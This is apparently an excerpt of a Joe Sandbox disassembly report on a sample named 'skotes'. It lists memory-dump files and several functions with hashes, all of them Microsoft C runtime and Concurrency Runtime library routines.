Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: 28ee3747ea67460bd31acbdee3a296159916a9bc97315a6ba89ed1d552afb2f9
Instruction ID: ce2222ace77082d585096e8efb742f484365f35e977ce576d823d9d6f010716a
Opcode Fuzzy Hash: 28ee3747ea67460bd31acbdee3a296159916a9bc97315a6ba89ed1d552afb2f9
Instruction Fuzzy Hash: 4A01B5A2641319ADE714B6B59C46FBB37DC9E06B18B70143FF505E2242EEACE80185B5

Function 007D2097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 007D20B7

Part of subcall function 007CCAF3: Mailbox.LIBCMT ref: 007CCB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 007D20C8
StructuredWorkStealingQueue.LIBCMT ref: 007D20FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 007D210F

Strings

e, xrefs: 007D20D9

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: 0a4c2ef677e84ed74366cd30224c7b5b63ec6850d32306cc23bbb88415ba991c
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: 82119131101109EBDB15DE69C885B6A77B8AF21364B28C15BFD069F303DB7AD903CB91

Function 007BD029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 007BD0A5

Strings

api-ms-win-core-synch-l1-2-0.dll, xrefs: 007BD03B
SleepConditionVariableCS, xrefs: 007BD05D
WakeAllConditionVariable, xrefs: 007BD069
kernel32.dll, xrefs: 007BD04C

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: 441ad2ad13f81a7d60d9f5f464f82c723929197f1c51cf5f66893c6ff7050f65
Instruction ID: e57151004c4c9fdf32de44df189a482f520d3581cb37eaf022a6b387ec65b8fc
Opcode Fuzzy Hash: 441ad2ad13f81a7d60d9f5f464f82c723929197f1c51cf5f66893c6ff7050f65
Instruction Fuzzy Hash: B501D6A1A82B11ADFA317BB56C05FAB32CCDF42B48F551511E904E3290EEA9DC025875

Function 007CE8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 007CE91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 007CE926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 007CE950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 007CE959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 007CE9DC

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: e6226fa53d3104eba1f36704e0fae40c3b4e8c35b9feeab7a3777e6f70b95fbc
Instruction ID: f8699e7b7f79d4516e73ccbc3ab2d05504fd123fe25fee7df2e3dfa168842d15
Opcode Fuzzy Hash: e6226fa53d3104eba1f36704e0fae40c3b4e8c35b9feeab7a3777e6f70b95fbc
Instruction Fuzzy Hash: 7B410D75A00619EFCB09DF64C558BADBBB6FF48310F04815DE946A7391CB78AE01CB91

Function 007CD2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 007CD344
ListArray.LIBCONCRT ref: 007CD367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 007CD370
ListArray.LIBCONCRT ref: 007CD3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 007CD3B3

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
